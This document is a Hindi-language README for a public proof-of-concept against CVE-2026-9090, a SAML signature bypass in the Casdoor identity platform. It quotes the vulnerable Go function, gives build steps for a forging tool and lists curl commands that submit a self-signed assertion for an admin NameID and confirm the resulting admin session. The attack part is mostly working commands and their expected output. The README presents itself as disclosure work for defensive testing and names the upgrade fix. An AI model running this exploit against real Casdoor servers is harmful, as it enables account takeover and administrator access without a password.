
CVE-2026-9090 के लिए PoC — Casdoor SAML हस्ताक्षर बाईपास (CWE-347)। केवल पुनरुत्पादन हेतु; CERT/CC VU#780781 के माध्यम से समन्वित।
CVE-2026-9090 (CWE-347, क्रिप्टोग्राफ़िक हस्ताक्षर का अनुचित सत्यापन) के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो Casdoor पहचान प्लेटफ़ॉर्म में एक प्रमाणीकरण बाईपास है।
श्रेय। CVE-2026-9090 CERT/CC द्वारा प्रकाशित और समन्वित किया गया था — देखें VU#780781. यह रिपॉज़िटरी पहले से सार्वजनिक कमज़ोरी के लिए एक स्वतंत्र, केवल-पुनरुत्पादन प्रूफ-ऑफ-कॉन्सेप्ट है; यह समस्या की खोज का दावा नहीं करता है।
जब Casdoor POST /api/acs पर एक SAML प्रतिक्रिया (किसी बाहरी SAML प्रदाता के माध्यम से लॉगिन) उपभोग करता है, तो buildSpCertificateStore फ़ंक्शन हस्ताक्षर ट्रस्ट एंकर को पहचान प्रदाता के लिए पंजीकृत प्रमाणपत्र के बजाय आने वाली SAML प्रतिक्रिया में ही एम्बेडेड <X509Certificate> से बनाता है।
// object/saml_sp.go (vulnerable, <= v2.362.0)
func buildSpCertificateStore(provider *Provider, samlResponse string) (certStore ..., err error) {
certEncodedData := ""
if samlResponse != "" {
certEncodedData, err = getCertificateFromSamlResponse(samlResponse, provider.Type) // <-- cert from the response
} else if provider.IdP != "" {
certEncodedData = provider.IdP
}
...
certStore = dsig.MemoryX509CertificateStore{ Roots: []*x509.Certificate{idpCert} }
}
चूँकि ट्रस्ट एंकर प्रतिक्रिया से लिया जाता है, एक हमलावर SAML अभिकथन पर अपने स्वयं के स्व-हस्ताक्षरित प्रमाणपत्र से हस्ताक्षर कर सकता है, उस प्रमाणपत्र को प्रतिक्रिया में शामिल कर सकता है, और हस्ताक्षर अपने ही विरुद्ध मान्य हो जाता है। NameID को किसी मौजूदा उपयोगकर्ता पर सेट करने से उसी खाते तक पहुँच मिल जाती है — यदि वह एक व्यवस्थापक है, तो हमलावर को व्यवस्थापक सत्र प्राप्त हो जाता है। इसमें कोई पासवर्ड शामिल नहीं होता।
<= 2.362.0provider.IdP से बनाया जाता है (buildSpCertificateStore(provider *Provider) अब प्रतिक्रिया नहीं पढ़ता)। किसी वर्तमान रिलीज़ में अपग्रेड करें।forge_saml.go एक पूर्ण SAML प्रतिक्रिया बनाता है जिसका Assertion एक अस्थायी स्व-हस्ताक्षरित कुंजी द्वारा हस्ताक्षरित होता है, जिसमें उस कुंजी का प्रमाणपत्र <ds:KeyInfo><ds:X509Certificate> में एम्बेडेड होता है। यह उसी goxmldsig लाइब्रेरी का उपयोग करता है जिसका उपयोग Casdoor करता है, इसलिए कैननिकलाइज़ेशन और हस्ताक्षर प्रारूप को यथावत स्वीकार किया जाता है।
go mod init cve-2026-9090-poc # or: go build directly in this repo
go get github.com/beevik/etree github.com/russellhaering/goxmldsig
go build -o forge_saml forge_saml.go
# 1) forge a response for an existing (admin) NameID, aimed at the target's ACS URL
./forge_saml \
--nameid [email protected] \
--acs http://TARGET:8000/api/acs \
--audience http://TARGET:8000/api/acs \
> forged.b64
# 2) submit it. NOTE: Casdoor url-unescapes SAMLResponse before base64-decoding, so the value MUST be
# url-encoded (a raw '+' would be turned into a space -> "illegal base64 data").
ENC=$(python3 -c 'import urllib.parse;print(urllib.parse.quote(open("forged.b64").read().strip()))')
curl -s -c cookie.txt \
"http://TARGET:8000/api/login?application=APP&organization=ORG&provider=SAML_PROVIDER&method=signup" \
-H 'Content-Type: application/json' \
-d "{\"application\":\"APP\",\"organization\":\"ORG\",\"provider\":\"SAML_PROVIDER\",\"method\":\"signup\",\"type\":\"login\",\"samlResponse\":\"$ENC\"}"
# -> {"status":"ok","data":"ORG/admin"}
# 3) confirm the session
curl -s -b cookie.txt http://TARGET:8000/api/get-account | jq '.data | {name,isAdmin,owner}'
APP, ORG और SAML_PROVIDER क्रमशः एप्लिकेशन का नाम, संगठन और उस एप्लिकेशन से बंधा SAML प्रदाता हैं। एक Casdoor एप्लिकेशन का पंजीकरण (उसके बंधे प्रदाताओं सहित) /api/get-application?id=admin/<name> पर पढ़ने योग्य है।
यह PoC एक सुधारित, सार्वजनिक रूप से खुलासा किया गया कमज़ोरी के लिए प्रकाशित किया गया है, जो रक्षात्मक परीक्षण, डिटेक्शन इंजीनियरिंग और शोध के लिए है। इसे केवल उन्हीं सिस्टम पर चलाएँ जिनका परीक्षण करने के लिए आप अधिकृत हैं। सही उपाय यह है कि Casdoor को ऐसे रिलीज़ में अपग्रेड किया जाए जहाँ buildSpCertificateStore पंजीकृत प्रदाता प्रमाणपत्र के विरुद्ध सत्यापन करता है।
MIT — LICENSE देखें।